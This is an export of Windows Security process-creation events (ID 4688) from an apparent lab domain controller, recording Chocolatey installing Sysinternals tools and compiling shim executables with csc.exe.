Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246944
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x360
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\vmmap.exe" --output="C:\ProgramData\chocolatey\bin\vmmap.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\vmmap.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246943
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x30c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x46c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1795.tmp" "c:\ProgramData\chocolatey\bin\CSCA31ED4D7E85F470E92BCEF2846E5B7E7.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246942
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x46c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246941
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf20
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Testlimit64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_2549\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246940
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf20
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246939
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf20
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Testlimit64.exe" --output="C:\ProgramData\chocolatey\bin\Testlimit64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Testlimit64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246938
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe10
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES16BA.tmp" "c:\ProgramData\chocolatey\bin\CSC1C94A3D8B71454F8A8B83A4EC29C4C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246937
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x42c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe10
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246936
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Testlimit.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_0362\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246985
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xae4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x480
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246984
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x480
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Winobj64.exe" --output="C:\ProgramData\chocolatey\bin\Winobj64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Winobj64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246983
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1DBF.tmp" "c:\ProgramData\chocolatey\bin\CSCD8CC7EEDB75D46DB8CE33B4CB6679223.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246982
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246981
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Winobj.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246980
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe88
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246979
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Winobj.exe" --output="C:\ProgramData\chocolatey\bin\Winobj.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Winobj.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246978
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x310
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1CD5.tmp" "c:\ProgramData\chocolatey\bin\CSC43495B21E6C940108C44152B1DF1165.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

